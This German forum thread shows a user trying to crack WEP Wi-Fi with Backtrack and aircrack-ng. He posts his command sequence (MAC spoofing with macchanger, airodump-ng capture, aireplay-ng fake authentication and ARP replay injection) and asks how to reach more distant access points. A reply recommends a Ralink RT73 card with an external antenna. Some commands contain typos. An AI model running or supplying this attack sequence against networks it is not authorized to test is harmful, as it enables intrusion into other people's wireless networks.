Backtrack 3 & C54RC

Infos:
Laptop: Thinkpad T40
OS: Backtrack 3
WLAN-Karte: Conceptronic C54RC PCMCIA (Treiber: rt61)

Hi,

ich hab mich heute mal mit dem cracken von WLAN-APs mit WEP-Verschlüsselung via Backtrack/Aircrack beschäftigt. Dabei bin ich allerdings auf folgende Hindernisse gestoßen und zwar klappt die Packet-Injection nicht wirklich! Ich muss verdammt nah am Router stehen, um erfolgreich eine Test via - airplay-ng -9 wlan0 - hinzubekommen. Eine Packet-Injection via - aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0 - klappt aber nie! Meine Fragen nun:

Wie kann ich die Reichweite erhöhen, damit ich auch weiter entfernte APs erreichen kann? (Packet-Injection)
Gibt es außer via aireplay-ng noch andere möglichkeiten die Daten zu erhöhen?
Welche Hardware könntet ihr mir denn empfehlen? (PCMCIA oder USB, bitte)
Gibt es für die C54RC vllt schon einen neueren bzw. besseren Treiber?

Bin für jeden Tipp dankbar! Bis dahin liebe grüße der freakazoid


Anhang:

Ablauf meines ersten Versuchs:

Code:

---

airmon-ng                                              # Ausgabe der Wlan-Clients
                                                        # wlan0 rt61

airmon-ng stop wlan0                                # Monitor-Funktion anstellen und Mac-Adresse ändern
ifconfig wlan0 down
macchanger --mac 00:11:22:33:44:55 wlan0
airmon-ng start wlan0

airodump-ng wlan0                                # nach APs suchen
airodump-ng -c 11 - test --bssid (bssid) wlan0            # Verbindung mit AP herstellen

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e test wlan0 # Funktioniert, aber nur sehr nah am Router
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0          # Leider noch nicht zum laufen bekommen :(

---

die reichweite kannst du mit einer externen antenne erhöhen, was bei der karte aber nicht geht, weil die keinen antennenanschluss hat.

Schau dir mal die Ralink RT73 an mit ext. Antennenanschluss, läuft mit Backtrack im MOnitor Mode un INjection is auch möglich!